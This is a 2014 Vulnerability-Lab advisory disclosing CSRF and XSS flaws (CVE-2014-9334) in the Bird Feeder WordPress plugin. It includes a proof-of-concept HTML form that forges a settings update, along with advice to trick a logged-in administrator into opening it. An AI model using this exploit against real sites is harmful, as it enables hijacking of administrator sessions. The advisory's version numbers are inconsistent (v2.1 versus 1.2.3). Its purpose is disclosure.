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Bird Feeder v1.2.3 WP Plugin - CSRF & XSS Vulnerability

2014-12-17 19:00
Document Title:
===============
Bird Feeder v1.2.3 WP Plugin - CSRF & XSS Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1372

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9334

CVE-ID:
=======
CVE-2014-9334


Release Date:
=============
2014-12-09


Vulnerability Laboratory ID (VL-ID):
====================================
1372


Common Vulnerability Scoring System:
====================================
3.6


Product & Service Introduction:
===============================
This WordPress plugin will add the necessary data to the WordPress article feeds so that they can be picked up and
processed correctly by the Bird Feeder Mint Pepper, without requiring any changes to any core WordPress files.
This plug-in serves one purpose and that is to tweet published posts. It doesn`t do anything other then tweet.
It tweets in this format: [your message] [post title] [short url].On the options page you will have to enter
your twitter username and password. You can also configure your message there.If you try to publish a bunch
of posts quickly Bird Feeder url shortening service will not handle them and result un-expected tweets.

(Copy of the Vendor Homepage: https://wordpress.org/plugins/bird-feeder/ )


Abstract Advisory Information:
==============================
The independent Vulnerability Laboratory Researcher (Manideep K.) discovered a cross site request forgery issue and a
cross site vulnerability in the bird feeder v2.1 wordpress plugin.


Vulnerability Disclosure Timeline:
==================================
2014-11-06: Author Notification (Manideep K.)
2014-11-20: WP Team action taken by closing the plugin and service
2014-12-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Wordpress
Product: Bird Feeder - Wordpress Plugin (Web-Application) 1.2.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A cross site request forgery issue and cross site scripting vulnerability has been discovered in the Bird Feeder v1.2.3
Plugin.

The plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a
special
crafted URL created by a remote attacker (via spear phishing/social engineering), the attacker can insert arbitrary
script code
into admin page. Once exploited, admin’s browser can be made to do almost anything the admin user could typically do by
hijacking admin`s cookies etc.


Proof of Concept (PoC):
=======================
You can use the following exploit code to exploit the vulnerability. For testing - you can just save it as .html and
then get it clicked with an logged in administrator (by social engineering/spear phishing techniques) and see exploit
in action. Almost majority of the fields are vulnerable to CSRF + XSS attack


<html>
<body>
<form action="http://localhost/wordpress/wp-admin/options-general.php?page=bird-feeder"; method="POST">
<input type="hidden" name="user" value="csrf/xss testing " />
<input type="hidden" name="password" value="csrf/xss testing" />
<input type="hidden" name="message" value="" />
<input type="hidden" name="update" value="Update" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


Solution - Fix & Patch:
=======================
2014-11-20: WP Team action taken by closing the plugin and service


Security Risk:
==============
The security risk of the cross site request forgery and cross site scripting web vulnerability are estimated as medium.
(CVSS 3.6)


Credits & Authors:
==================
Manideep K. - Information Security Researcher [https://in.linkedin.com/in/manideepk]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all
warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or
its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special
damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or
limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody
to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.

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